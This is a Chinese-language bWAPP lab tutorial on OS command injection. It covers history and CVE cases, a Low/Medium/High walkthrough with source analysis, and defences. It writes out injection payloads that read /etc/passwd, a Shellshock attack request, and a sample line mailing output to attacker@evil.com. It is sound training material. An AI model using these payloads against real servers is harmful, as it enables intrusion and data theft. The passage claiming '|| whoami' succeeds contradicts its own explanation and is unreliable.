摘要:本文是 bWAPP 靶场系列的第七篇,聚焦于 OS Command Injection(操作系统命令注入)漏洞。文章从零基础角度出发,首先讲解什么是操作系统命令、什么是命令注入,以及这个漏洞为什么会产生、有多大的危害。随后按照 Low、Medium、High 三个安全级别逐一进行源码分析、通关演示和防御方案讲解。特别地,本文加入了大量真实世界的经典案例——从 1997 年首次被发现的 Shell 命令注入,到 2014 年震惊全球的 Shellshock(破壳)漏洞,再到 2024 年月下载量超 800 万次的 Node.js 库被曝命令注入——帮助读者理解这个漏洞在现实世界中的毁灭性威力。
一、前言
在前六篇文章中,我们分别介绍了环境搭建、三种反射型 HTML 注入、存储型 HTML 注入以及 iFrame 注入。这些漏洞的共同特点是:攻击目标都在 Web 应用层——篡改页面内容、嵌入恶意框架、窃取用户数据。
但今天我们要讲的漏洞,威力完全不在一个量级上。OS 命令注入(Operating System Command Injection)——攻击者不再满足于“改改网页”,而是直接在服务器上执行操作系统命令!
这意味着什么?意味着攻击者可以:
-
查看服务器上的所有文件
-
添加管理员账户
-
删除整个系统
-
用服务器去攻击内网其他机器
OS 命令注入被 OWASP Top 10 列为最严重的 Web 安全风险之一。它不是“改页面”,而是“控制服务器”。
二、OS 命令注入概述
2.1 什么是操作系统命令?
在理解漏洞之前,先搞清楚一个基础概念:什么是操作系统命令?
操作系统命令,就是用户通过命令行终端与操作系统交互时输入的指令。
Windows 命令示例:
dir # 列出当前目录下的文件
whoami # 查看当前登录的用户名
ipconfig # 查看网络配置
net user # 查看系统用户
Linux/Unix 命令示例:
ls -la # 列出当前目录下的所有文件(包括隐藏文件)
whoami # 查看当前登录的用户名
id # 查看当前用户的 ID 信息
uname -a # 查看系统内核版本信息
cat /etc/passwd # 查看系统用户文件
这些命令在终端中执行时,会直接与操作系统内核交互,拥有当前用户的全部权限。
2.2 什么是 OS 命令注入?
OS 命令注入(也叫 Shell 注入),是指 Web 应用程序在调用操作系统命令时,没有对用户输入进行充分的过滤和验证,导致攻击者可以在原有的命令后面拼接(注入)额外的恶意命令,让服务器执行。
用一个最简单的例子来说明:
假设一个网站提供了一个“Ping 测试”功能——你输入一个 IP 地址,网站帮你 ping 一下,看看网络通不通。
后端 PHP 代码可能是这样的:
$target = $_POST["ip"];
system("ping -c 4 " . $target);
如果你正常输入 8.8.8.8,服务器执行的命令是:
ping -c 4 8.8.8.8
但如果你输入的是 8.8.8.8; whoami,服务器执行的命令变成了:
ping -c 4 8.8.8.8; whoami
在 Linux 中,分号(;)表示“命令分隔符”——先执行前面的 ping 命令,再执行后面的 whoami 命令。于是,whoami 就在服务器上被执行了,返回当前用户名!
攻击者输入什么,服务器就执行什么——这就是 OS 命令注入。
2.3 OS 命令注入 vs HTML注入——一张表说清楚
| 攻击目标 | Web 页面内容 | 操作系统 |
| 执行环境 | 浏览器(客户端) | 操作系统内核 |
| 危害范围 | 篡改页面、钓鱼 | 控制整台服务器 |
| 权限级别 | 无权限(浏览器沙箱) | 操作系统用户权限 |
| 危害等级 | 中 | 极高 |
2.4 为什么会产生 OS 命令注入漏洞?
根本原因只有一句话:应用程序调用了系统命令,且用户输入被直接拼接到命令中,没有经过任何过滤或转义。
具体来说,以下几个环节最容易出现问题:
-
调用了危险的系统函数:如 PHP 的 system()、exec()、shell_exec()、passthru() 等。
-
用户输入直接拼接到命令中:使用字符串拼接(.)而不是参数化方式。
-
没有过滤特殊字符:如 ;、|、&、$()、` 等 Shell 元字符。
-
盲目信任用户输入:没有对输入做任何验证。
2.5 OS 命令注入的危害
OS 命令注入的危害是所有 Web 漏洞中最严重的之一:
-
完全控制服务器:攻击者可以执行任意系统命令,相当于拿到了服务器的“命令行”
-
数据泄露:可以读取 /etc/passwd、数据库配置文件、源代码等敏感信息
-
权限提升:如果 Web 服务以 root 权限运行,攻击者可以直接获得系统最高权限
-
植入后门:可以在服务器上安装木马、挖矿病毒、勒索软件
-
内网渗透:利用被攻陷的服务器作为跳板,攻击内网其他机器
-
数据销毁:可以删除所有数据,造成毁灭性打击
三、OS 命令注入的历史背景与真实案例
OS 命令注入是 Web 安全领域最古老、最危险的漏洞类型之一。它的历史几乎和互联网本身一样长。
3.1 历史起源:1997 年首次被发现
1997 年,挪威安全团队在分析 CGI(Common Gateway Interface)程序时,首次发现了 Shell 命令注入漏洞。
当时的 Web 应用大量使用 CGI 脚本(主要是 Perl 和 C 编写的)来处理用户请求。这些脚本经常需要调用系统命令来完成某些功能(如发送邮件、处理文件等),而开发者对用户输入的危害性认识严重不足,直接将用户输入拼接到系统命令中——OS 命令注入由此诞生。
这个漏洞的发现,标志着 Web 安全作为一个独立领域的正式起步。
3.2 经典案例一:Shellshock(破壳漏洞)——CVSS 10.0 的史诗级漏洞
时间:2014 年 9 月 编号:CVE-2014-6271 CVSS 评分:10.0(最高严重等级)
如果说 OS 命令注入有一个“皇冠上的明珠”,那一定是 Shellshock(破壳漏洞)。
Shellshock 是 GNU Bash (Bourne Again SHell) 中的一个严重安全漏洞。Bash 是 Linux 和 macOS 系统上最常用的命令行解释器,几乎存在于每一台 Unix/Linux 服务器上。
漏洞原理:Bash 在处理环境变量中的函数定义时,会错误地执行函数定义后面的尾随命令。攻击者可以通过精心构造的 HTTP 请求头(如 User-Agent、Cookie 等),向服务器注入恶意命令。
一个典型的攻击请求:
GET /cgi-bin/test.cgi HTTP/1.1
Host: vulnerable.com
User-Agent: () { :; }; echo; /bin/bash -c 'cat /etc/passwd'
当服务器使用 Bash 处理这个 CGI 请求时,User-Agent 头中的 () { :; }; 被 Bash 解析为函数定义,而 echo; /bin/bash -c 'cat /etc/passwd' 则被当作命令执行!
影响范围:
-
影响了 Bash 1.14 到 4.3 的所有版本
-
几乎所有 Linux、Unix、macOS 系统都受影响
-
涉及 Apache + mod_cgi、DHCP 客户端、SSH 等无数组件
-
全球数百万台服务器面临风险
为什么叫“破壳”? 因为 Bash 就像一个“壳”(Shell),而这个漏洞直接“打破”了这层壳,让攻击者可以直达操作系统内部。
安全专家评论道:“Shellshock 是比 Heartbleed(心脏出血)更严重的漏洞”——Heartbleed 只能窃取内存数据,而 Shellshock 可以直接执行任意系统命令。
3.3 经典案例二:Node.js systeminformation 库命令注入——月下载 800 万次
时间:2024 年 12 月 编号:CVE-2024-56334
这是离我们最近、影响极其广泛的一个命令注入案例。
systeminformation 是一个用于获取系统和操作系统信息的 Node.js 库,每月下载量超过 800 万次,总下载量达到惊人的 3.3 亿次。
漏洞详情:在 getWindowsIEEE8021x 函数中,Wi-Fi 网络的 SSID(网络名称) 在被传递给 cmd.exe 之前没有经过任何消毒处理。这意味着,恶意内容的 SSID 可以被当作操作系统命令执行。
攻击方式:
-
攻击者创建一个恶意 Wi-Fi 热点,SSID 设置为命令注入 payload
-
受害者的 Windows 系统连接到该热点
-
如果受害者的系统上运行了使用 systeminformation 库的应用程序(且调用了 getWindowsIEEE8021x 函数),恶意 SSID 就会被当作命令执行
-
攻击者可以实现远程代码执行或本地权限提升
这个案例的可怕之处在于:你什么都不用做,只需要连上一个 Wi-Fi,你的电脑就可能被控制——而这一切的源头,只是一个没有过滤用户输入的漏洞。
3.4 经典案例三:F5 BIG-IP 命令注入——企业级设备的沦陷
时间:2025 年 编号:CVE-2025-20029
F5 BIG-IP 是全球最流行的网络流量管理和应用交付控制器之一,被大量银行、电信公司、政府机构使用。
安全研究人员在 F5 BIG-IP 的 iControl REST API 和 TMOS Shell(tmsh) 中发现了命令注入漏洞。攻击者可以通过精心构造的 API 请求,在 BIG-IP 设备上执行任意系统命令。
这意味着什么?攻击者可以完全控制企业核心网络设备——篡改路由规则、窃取流量数据、瘫痪整个网络。
3.5 经典案例四:D-Link 路由器命令注入——家庭网络的“后门”
时间:2025 年 编号:CNVD-2025-19876
D-Link DSL-7740C 是一款广泛使用的调制解调器/路由器设备。
安全研究人员发现,该设备的 ping 功能存在命令注入漏洞——ping 函数未能正确过滤构造命令的特殊字符。攻击者可以利用该漏洞执行任意系统命令。
由于路由器通常处于家庭或企业网络的入口位置,攻击者控制路由器后可以:
-
监控所有网络流量
-
篡改 DNS 设置,将用户引导到钓鱼网站
-
发动中间人攻击
-
将路由器变为僵尸网络的一员
3.6 经典案例五:Progress LoadMaster 预认证 RCE——无需登录即可控制设备
时间:2026 年 7 月
Progress LoadMaster 是一款企业级负载均衡器,被广泛应用于大型企业的 IT 基础设施中。
安全研究人员发现,LoadMaster 的 API 中存在一个 OS 命令注入漏洞,允许未经身份验证的攻击者在 LoadMaster 设备上执行任意命令。
这意味着:不需要任何用户名和密码,只要知道设备的 IP 地址,攻击者就可以完全控制这台设备。
Progress 公司在安全公告中承认了这一漏洞的存在。
这个案例的警示意义:命令注入漏洞不仅存在于“小网站”,也存在于最顶级的企业级安全产品中。
四、bWAPP OS Command Injection 漏洞实战
了解了 OS 命令注入的基础知识和真实案例后,现在让我们进入 bWAPP 靶场,亲手体验这个漏洞的攻防全过程。
4.1 漏洞页面介绍
在 bWAPP 主界面选择 OS Command Injection,点击“Hack”按钮进入漏洞页面。
这个页面的功能非常简单:输入一个域名或 IP 地址,服务器会执行 nslookup 命令来查询该域名的 DNS 信息。

五、Low 安全级别
5.1 通关步骤
将安全级别设置为 Low,然后开始攻击。
步骤一:正常使用功能
在输入框中输入一个正常的域名:www.baidu.com
点击“Lookup”按钮,页面会返回 nslookup 命令的执行结果——百度的 IP 地址信息。

步骤二:注入第一条命令——查看当前用户(核心!)
现在,在输入框中输入以下内容:www.baidu.com; whoami
点击“Lookup”按钮——你会看到,页面上不仅显示了 nslookup 的结果,还显示了当前系统登录的用户名!
在 Linux 系统中,whoami 命令会返回当前用户的用户名。如果 bWAPP 运行在 Linux 上,你会看到类似 www 或 daemon 的输出。

这说明了什么? 服务器不仅执行了 nslookup www.baidu.com,还执行了 whoami——我们的命令注入成功了!
步骤三:查看系统信息
输入以下 payload:www.baidu.com; uname -a
uname -a 会显示操作系统的内核版本和架构信息。

步骤四:列出目录内容
输入:www.baidu.com; ls -la
ls -la 会列出当前目录下的所有文件(包括隐藏文件) 。

步骤五:读取敏感文件
输入:www.baidu.com; cat /etc/passwd
在 Linux 系统中,/etc/passwd 文件存储了所有系统用户的信息。如果注入成功,你会看到一份完整的用户列表——包括用户名、用户 ID、家目录等。

步骤六:更强大的命令分隔符
除了分号(;),还有多种方式可以注入命令:
| ; | 顺序执行多条命令 | ping 8.8.8.8; whoami |
| && | 前一条命令成功后才执行后一条 | ping 8.8.8.8 && whoami |
| || | 前一条命令失败后才执行后一条 | ping 1.2.3.4 || whoami |
| | | 将前一条命令的输出作为后一条命令的输入 | whoami | mail attacker@evil.com |
| ` | 命令替换(反引号) | `whoami` |
| $() | 命令替换 | $(whoami) |
注意:&& 和 || 在某些情况下更“隐蔽”,因为它们只有在特定条件下才会执行后面的命令,可能更不容易被日志系统发现。
5.2 源码分析
打开 bWAPP 源码目录下的 commandi.php 文件,查看 Low 级别的核心代码:
<?php
if(isset($_POST["target"])) {
$target = $_POST["target"];
if($target == "") {
echo "<font color=\\"red\\">Enter a domain name…</font>";
} else {
echo "<p align=\\"left\\">" . shell_exec("nslookup " . commandi($target)) . "</p>";
}
}
?>
再看 commandi() 函数在 Low 级别下的行为:
function commandi($data) {
switch($_COOKIE["security_level"]) {
case "0" :
$data = no_check($data); // Low 级别:不做任何检查!
break;
// …
}
return $data;
}
代码解析:
-
shell_exec() 是 PHP 中用于执行系统命令的函数,它会将命令的输出作为字符串返回。
-
用户输入的 $target 直接被拼接到 nslookup 命令后面。
-
调用了 commandi($target)——但在 Low 级别下,commandi() 调用的是 no_check(),这个函数什么都不做,直接返回原始输入。
-
没有任何过滤、没有任何转义、没有任何验证。
漏洞根源:用户输入被直接拼接到系统命令中,且没有任何防护——攻击者可以通过命令分隔符注入任意命令。
5.3 如何防御
对于 Low 级别暴露的问题,最基础的防御措施是:
方案一:使用 escapeshellarg() 转义参数
$target = escapeshellarg($_POST["target"]);
system("nslookup " . $target);
escapeshellarg() 会将用户输入当作一个完整的参数传递给命令,而不是被解析为命令的一部分。
方案二:使用 escapeshellcmd() 转义命令中的特殊字符
$target = escapeshellcmd($_POST["target"]);
system("nslookup " . $target);
escapeshellcmd() 会在特殊字符(;、|、& 等)前面添加反斜杠进行转义。
方案三:输入验证(白名单)
只允许合法的 IP 地址或域名格式:
if (!preg_match('/^[a-zA-Z0-9.-]+$/', $target)) {
die("Invalid input");
}
六、Medium 安全级别
6.1 通关步骤
将安全级别切换为 Medium,再次访问页面。
尝试一:使用分号(;)
输入之前的 payload:www.baidu.com; whoami
点击“Lookup”——不成功!分号被过滤了,whoami 没有被执行。
尝试二:使用管道符(|)
输入:www.baidu.com | whoami
点击“Lookup”——成功了! 页面显示了 whoami 的执行结果!

尝试三:使用逻辑或(||)
输入:www.baidu.com || whoami
也能成功——因为 nslookup www.baidu.com 执行成功,所以 || 后面的命令不会执行。但如果把前面的命令改成不存在的域名:www.thisdomaindoesnotexist12345.com || whoami
这时候 nslookup 失败,|| 后面的 whoami 就会被执行。

6.2 源码分析
Medium 级别的核心入口为 commandi() 过滤分发函数,Low/Medium/High 分支执行不同处理逻辑:
function commandi($data)
{
switch($_COOKIE["security_level"])
{
case "0" :
$data = no_check($data);
break;
case "1" :
// Medium 级别:调用 commandi_check_1 黑名单替换过滤,并非 xss_check_4
$data = commandi_check_1($data);
break;
case "2" :
$data = commandi_check_2($data);
break;
default :
$data = no_check($data);
break;
}
return $data;
}
查看 Medium 专属过滤函数 commandi_check_1() 实现:
function commandi_check_1($data)
{
// 黑名单直接清空 & 和 ; 两个命令分隔符
$input = str_replace("&", "", $data);
$input = str_replace(";", "", $input);
return $input;
}
代码解析:
commandi_check_1 仅移除 &、;,并未过滤管道符 |、||、&&、反引号 `、$() 等大量 shell 命令分隔执行符号;
为什么 ;、& 注入会失效:函数直接将输入里的 ;、& 全部替换为空字符串,载荷被破坏无法拼接多条命令;
绕过点:过滤逻辑缺失 | 管道符,输入 www.nsa.gov | whoami 时,| 不会被删除,可成功执行后续系统命令,黑名单存在明显遗漏。
这就是典型的 “黑名单过滤”的缺陷:过滤了一部分危险字符,但总有一些“漏网之鱼”。
6.3 如何防御(Medium 级别的评价)
Medium 级别的防御方案存在严重缺陷:
-
黑名单过滤不完整:仅清除 & 和 ;,遗漏 |、||、`、$()、>、<、&& 等大量可用于拼接执行系统命令的 shell 特殊元字符,极易被绕过;
-
防护思路错位:单纯删除危险字符属于治标不治本,开发者错误依靠黑名单拦截命令注入,无专业 shell 上下文转义逻辑;
-
存在持续绕过风险:只要存在任意一种未被过滤的命令分隔符,攻击者就能构造载荷执行任意系统命令,防护可靠性极低。
正确的做法:
-
使用 escapeshellarg() 或 escapeshellcmd() 进行命令上下文的安全转义
-
优先使用白名单校验:严格限制输入格式,仅允许合法域名 / IP,拒绝包含特殊符号的输入;
-
业务层面规避:尽可能减少 system()、exec()、shell_exec() 等可执行系统命令的 PHP 函数;
-
禁用高危函数:通过 php.ini 的disable_functions关闭系统命令执行相关函数,多层兜底防护。
七、High 安全级别
7.1 通关步骤
将安全级别切换为 High,再次尝试注入。
输入任何 payload——; whoami、| whoami、|| whoami——全部失败。
7.2 源码分析
High 级别的核心代码中,commandi() 分发函数区分安全等级做不同输入处理:
function commandi($data)
{
switch($_COOKIE["security_level"])
{
case "0" :
$data = no_check($data);
break;
case "1" :
$data = commandi_check_1($data);
break;
case "2" :
// High 级别调用 commandi_check_2,并非 xss_check_3
$data = commandi_check_2($data);
break;
default :
$data = no_check($data);
break;
}
return $data;
}
查看 High 级别专属过滤函数 commandi_check_2() 真实实现:
function commandi_check_2($data)
{
return escapeshellcmd($data);
}
escapeshellcmd() 会在所有 Shell 危险元字符前添加反斜杠转义,包含: ; | * ? ~ <> ^ () [ ] { } $ , \\x0A、\\xFF;Windows 系统额外转义 %、!。
转义效果示例:
-
载荷 www.nsa.gov; whoami → www.nsa.gov\\; whoami 分号被转义为普通文本,不再具备命令分隔功能,无法拼接第二条命令;
-
载荷 www.nsa.gov | whoami → www.nsa.gov\\| whoami 管道符被转义,丧失管道执行命令的作用。
所有可用于分割、拼接、嵌套执行系统命令的特殊符号全部被转义为普通字符,命令注入载荷完全失效。
7.3 如何防御(High 级别的正确做法)
High 级别的防御方案是正确且有效的:
-
使用 escapeshellcmd() 转义所有 Shell 元字符
-
配合 escapeshellarg() 确保参数被正确引用
最佳实践组合:
$target = escapeshellarg(escapeshellcmd($_POST["target"]));
system("nslookup " . $target);
最优业务方案:彻底摒弃 system()、exec()、shell_exec() 等系统命令调用函数,使用 PHP 原生 DNS 解析函数 gethostbyname()、dns_get_record() 替代 nslookup,从根源杜绝 OS 命令注入风险。
八、三种安全级别对比总结
| Low | no_check() | 直接返回原始输入 | 无任何过滤 | 存在严重 OS 命令注入漏洞 |
| Medium | commandi_check_1() | 黑名单删除字符 | 仅移除 &、;,未过滤 |、`、$() 等 | 存在绕过,管道符可执行额外命令 |
| High | commandi_check_2() | escapeshellcmd () 转义 | 转义全部 Shell 特殊元字符 | 基础场景防护有效,无注入漏洞 |
九、OS 命令注入的防御方案总结
9.1 开发人员必知的防御措施
方案一:避免调用系统命令(最安全)
能不调用系统命令,就尽量不要调用。
| DNS 查询 | system("nslookup " . $domain) | PHP: dns_get_record()、gethostbyname() |
| Ping 测试 | system("ping " . $ip) | PHP: fsockopen() 或直接返回“功能开发中” |
| 文件操作 | system("ls " . $dir) | PHP: scandir()、glob() |
| 网络请求 | system("curl " . $url) | PHP: file_get_contents()、cURL 库 |
方案二:使用 escapeshellarg() 和 escapeshellcmd()
如果必须调用系统命令:
// 先转义命令中的特殊字符
$target = escapeshellcmd($_POST["target"]);
// 再将整个参数作为字符串转义
$target = escapeshellarg($target);
system("nslookup " . $target);
方案三:输入验证(白名单)
只允许符合预期格式的输入:
// 只允许 IP 地址或域名
if (!preg_match('/^[a-zA-Z0-9.-]+$/', $target)) {
die("Invalid input");
}
方案四:最小权限原则
Web 服务器应该以最低权限用户运行(如 www-data、nobody),而不是 root。这样即使发生命令注入,攻击者的破坏范围也有限。
方案五:使用参数化 API
某些编程语言提供了不经过 Shell 的命令执行方式:
// 危险:经过 Shell
system("nslookup " . $target);
// 相对安全:直接执行,不经过 Shell
$process = proc_open(
["nslookup", $target],
[["pipe","r"], ["pipe","w"], ["pipe","w"]],
$pipes
);
9.2 安全测试人员必知的检测方法
-
简单的命令注入测试:在输入框中输入 127.0.0.1; whoami,观察是否返回用户名。
-
测试不同的命令分隔符:;、|、||、&&、`、$() 都要测试。
-
时间延迟测试(盲注):如果命令输出不可见,使用 sleep 5 来测试——如果页面延迟 5 秒响应,说明命令被执行了。
-
DNS 外带测试:使用 nslookup 将数据发送到攻击者控制的 DNS 服务器。
-
查看响应内容:注意页面中是否出现了意外的系统命令输出。
十、总结
通过本篇文章的学习,我们完整掌握了 bWAPP 中 OS 命令注入漏洞的相关原理、危害及防护方法,OS 命令注入是攻击者利用可控输入拼接命令分隔符,在服务器执行任意系统命令的高危漏洞,属于危害极大的 Web 漏洞,可实现服务器完全控制;该漏洞危害长久且影响广泛,从 1997 年首次被发现,到历年 Shellshock 破壳漏洞、多款主流组件、设备的高危命令注入漏洞,均造成了大规模安全风险。同时我们清晰掌握了三种安全级别的防护差异:Low 级别无任何过滤防护,可直接执行任意系统命令;Medium 级别采用黑名单机制仅过滤&、;字符,存在严重绕过漏洞,可通过管道符|执行恶意命令;High 级别通过escapeshellcmd()转义全部 Shell 元字符,有效防御命令注入攻击。最后总结出 OS 命令注入的核心防御原则:业务开发中尽量避免调用系统命令,必须使用时搭配escapeshellarg()与escapeshellcmd()做安全转义,对用户输入采用白名单校验机制,并严格遵循服务器最小权限原则,从多维度杜绝命令注入风险。
写在最后
OS 命令注入是 Web 安全中最危险的漏洞类型之一。它让攻击者从“改网页”升级到了“控制服务器”——这不再是数据泄露的问题,而是系统完全沦陷的问题。
从 1997 年的第一次发现,到 2014 年的 Shellshock,再到 2024-2026 年不断曝出的新漏洞——OS 命令注入从未消失,也永远不会消失。只要开发者还在调用系统命令、还在拼接用户输入,这个漏洞就会一直存在。
记住三句话:
-
永远不要相信用户输入
-
能不调用系统命令就不调用
-
必须调用时,用 escapeshellarg() 和 escapeshellcmd()
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。






